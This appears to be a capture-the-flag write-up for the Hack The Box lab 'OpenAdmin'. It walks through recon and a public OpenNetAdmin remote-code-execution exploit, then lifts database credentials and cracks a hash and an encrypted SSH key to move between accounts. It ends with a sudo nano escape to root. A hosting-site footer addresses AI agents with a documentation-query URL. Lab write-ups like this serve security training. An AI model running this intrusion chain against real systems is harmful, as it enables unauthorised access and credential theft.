# OpenAdmin ![](/files/-M7H9Lp5QLlf62x1xB4c) OpenAdmin is a easy Linux box that takes a look at CVE's, code review & Web Exploitation ## Recon we start off by scanning OpenAdmin's IP `10.10.10.171` with `nmap` ``` nmap -T4 -A -v 10.10.10.171 ``` From our scan we get the following results ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) ``` Checking the WebPage we get nothing, So lets move on to DirBusting it ``` gobuster dir -u http://10.10.10.171/ -w DirBuster-Lists/directory-list-2.3-medium.txt ``` With this we get the following Directories ``` =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.171/ [+] Threads: 10 [+] Wordlist: /root/Downloads/Dic/dictionaries-master/DirBuster-Lists/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/05/14 01:04:28 Starting gobuster =============================================================== /music (Status: 301) /artwork (Status: 301) /sierra (Status: 301) ``` Checking out the directory `/music` we find a login page that redirects to `ona` (OpenNetAdmin) we can now check for a public exploit for this ``` searchsploit opennetadmin ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh ----------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- ``` We'll be using the `OpenNetAdmin 18.1.1 - Remote Code Execution` exploit ``` cp /usr/share/exploitdb/exploits/php/webapps/47691.sh . dos2unix 47691.sh ./47691.sh http://10.10.10.171/ona/ ``` And we have shell, now we can upgrade to a full shell with ``` /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")' ``` ## Exploit Doing `cat /etc/passwd` lists the users on the system ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false joanna:x:1001:1001:,,,:/home/joanna:/bin/bash ``` After enumerating the box we come across a config `ona/local/config/database_settings.inc.php` that connects back to the db, and wouldn't you know it, it has some credentials ``` array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), ); ``` Using the credentials `jimmy:n1nj4W4rri0R!` let's see if we can get a ssh connection ``` ssh jimmy@10.10.10.171 ``` and there we go! ssh ``` jimmy@openadmin:~$ id uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal) ``` Going back and checking the `/var/www/` folder we find that only we can access `internal` ``` drwxr-xr-x 4 root root 4096 Nov 22 18:15 . drwxr-xr-x 14 root root 4096 Nov 21 14:08 .. drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 internal lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www ``` So let's take a look at what we have in here. Straight out of the box we see that `index.php` has some credentials ``` Tutorialspoint.com

Enter Username and Password

Login Restricted.


``` ``` 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 ``` Let's get our friend `John` to crack it, we see that its a `SHA512` hash so lets do ``` john hash --format=Raw-SHA512 --wordlist=/rockyou.txt --rules=jumbo ``` and we get the password `Revealed` Checking `/var/www/internal/main.php` we find that it outputs `/home/joanna/.ssh/id_rsa` so we should get to that. Doing ``` netstat -ano 127.0.0.1:52846 ``` Show's us we have port `52846` running locally, normally we'd `plink` to access it but let's take another approach today we can use ``` curl -XPOST localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v curl localhost:52846/main.php -H "PHPSESSID=po0mav9u27apgapafu0r518aj2" -v ``` To login to the page, get the session ID and then use it to display main.php. from this we get ``` 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

Don't forget your "ninja" password

Click here to logout Session ``` Great let's crack this SSH key ``` /usr/share/john/ssh2john.py key > hashSSh john hashSSh --wordlist=/rockyou.txt bloodninjas (key) ``` And we have another set of credentials now `joanna:bloodninjas` ``` ssh -i key joanna@10.10.10.171 id uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal) ``` ## Post Exploitation Now as joanna we can try and escalate our priveleges, lets check out if we can do anything we `sudo -l` and yes we can ``` (ALL) NOPASSWD: /bin/nano /opt/priv ``` we can run `nano` on the file `/opt/priv` as sudo! sounds like we can bypass this with so lets run ``` sudo -u root /bin/nano /opt/priv ctrl + shift + r ctrl + shift + x reset; sh 1>&0 2>&0 id uid=0(root) gid=0(root) groups=0(root) ``` And we have Root! ## Useful Links --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://bkr3257.gitbook.io/hackynotes/htb-writeups/openadmin.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.